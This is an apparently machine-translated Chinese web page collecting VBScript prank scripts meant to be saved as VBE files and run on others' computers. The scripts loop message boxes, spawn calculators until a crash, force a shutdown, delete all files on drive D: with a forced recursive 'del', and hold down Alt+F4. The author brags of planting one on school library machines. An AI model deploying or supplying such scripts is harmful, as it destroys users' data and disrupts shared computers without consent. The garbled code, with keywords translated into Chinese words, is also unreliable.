全人码(全人码集合)

Vbs代码集合，集合比较完整，喜欢的朋友可以参考一下。不要破坏，学习vbs的朋友很有帮助，无限循环的用处很多。创建一个新的记事本，复制以下代码，并将其保存为VBE格式:

第一，我用这个程序放在学校图书馆查询书刊的机器上，很多人没得选，哈哈。

做

msgbox“你真傻！”

环

-

第二，打开无数计算器，直到崩溃。

set wsh = create object(" wscript . shell ")

做

wsh.run "calc "

环

-

第三，直接关机

昏暗的地狱

set WSHshell = wscript . createobject(" wscript . shell ")

whall . run " shut down-f-s-t 00 "，0，true

-

四.删除所有文件

昏暗的地狱

set WSHshell = wscript . createobject(" wscript . shell ")

wshshell . run " cmd/c " del d:\ *。* / f /q /s " "，0，真

-

五、不断弹出窗口

而(1)

Msgbox“哈哈，你被耍了！”

环

-

6.继续按alt+f4(关闭所有功能...)

昏暗的地狱

set WSHshell = wscript . createobject(" wscript . shell ")

而(1)

WSHshell。发送密钥“%{F4}”循环

-

七、按回车键500次。

(上述代码在操作员的计算机上显示500个对话框。其中直到s = 500，500可以随意改变)

暗淡的

直到s=500

s=s+1

Msgbox“哥们，帮我按500次回车键”，64

环

-

八、不能关窗。

WScript。Echo(“嘿，谢谢你打开我，我等你很久了！”&TSName)

WScript。Echo(“你是可爱的小朋友吗？”)WScript。Echo(“哈，我想你，你不知道吗？”)

WScript。Echo(“你为什么没来这里？告诉我你是否不在乎我”)。Echo(“哼，我生气了，等了你这么久，心都凉了。”)

WScript。Echo(“萧蔷很生气，后果很严重。”)WScript。Echo(“嘿嘿！你也会很痛苦的”)

WScript。Echo(“你想清除我吗？”)WScript。Echo(“那你应该点50次，但会让你大吃一惊”)

WScript。Echo(“左49，快点”)WScript。Echo(“左48，快点，笨蛋！”)

WScript。Echo(“还剩47个。是的，就是这样。快点！”)WScript。Echo(“还剩46个。啊，你真傻。快点。我暂时不会打扰你的工作。”)

WScript。Echo(“还剩45个，记得快点！”)WScript。回声(“左43”)

WScript。回声(“左42”)

WScript。Echo(“左41”)WScript。回声(“向左40度”)

WScript。Echo(“还剩3个和9个网络”)

WScript。Echo(“左38”)WScript。回声(“左37”)

WScript。回声(“左36”)

WScript。Echo(“左35”)WScript。回声(“左34”)

WScript。回声(“左33”)

WScript。Echo(“左32”)WScript。回声(“左30”)

WScript。回声(“左29”)

WScript。Echo(“左28”)WScript。回声(“左27”)

WScript。回声(“左26”)

WScript。Echo(“左25”)WScript。回声(“左24”)

WScript。回声(“左23”)

WScript。Echo(“左22”)WScript。回声(“左21”)

WScript。回声(“左20”)

WScript。Echo(“左19”)WScript。回声(“左18”)

WScript。回声(“左17”)

WScript。Echo(“左16”)WScript。回声(“向左15度”)

WScript。Echo(“左14”)WScript。Echo(“向左13，停下！！！慢点，我有话要说”)

WScript。Echo(“还剩12个，你一直点我就消失了”)WScript。Echo(“还剩11个，你不会再见到我了。555555")

WScript。Echo(“还剩10个，可以选择现在停！”)WScript。回声(“还剩九个。你还想点菜，难道要我拉？”)

WScript。Echo(“还剩8个，有点难过，你为什么嫌弃别人”)WScript。Echo(“还剩7个”疯狂，你有点消极！" )

WScript。回声(“还剩六个。没错。只管点，我恨你！”)WScript。Echo(“还剩五个，我不明白，请你删除我好吗？”)

WScript。回声(“还剩四个！真的删了我？”)WScript。回声(“还剩三个。但是我真的很想你。。。")

WScript。回声(“左2。别这么没礼貌，人家爱你！”)WScript。回声(“左1。哼，既然你这么没心没肺。不要怪我不忠！！信息网！”)WScript。Echo(“我应该消失的，但我想念你的脸，上帝又给了我一次机会。”)

WScript。Echo(“想完成我吗？那你可以再点一次了”)

WScript。Echo(“想完成我吗？那你可以再点一次了”)

WScript。Echo(“想完成我吗？那你可以再点一次了”)

WScript。Echo(“想完成我吗？那你可以再点一次)WScript。Echo(“想完成我吗？那你可以再点一次了”)

WScript。Echo(“想完成我吗？那你可以再点一次了”)

WScript。Echo(“想完成我吗？那你可以再点一次了”)

WScript。Echo(“想完成我吗？那你可以再点一次)WScript。Echo(“想完成我吗？那你可以再点一次了”)

WScript。Echo(“想完成我吗？那你可以再点一次了”)

-

注意:所有标点符号都应该用英文输入。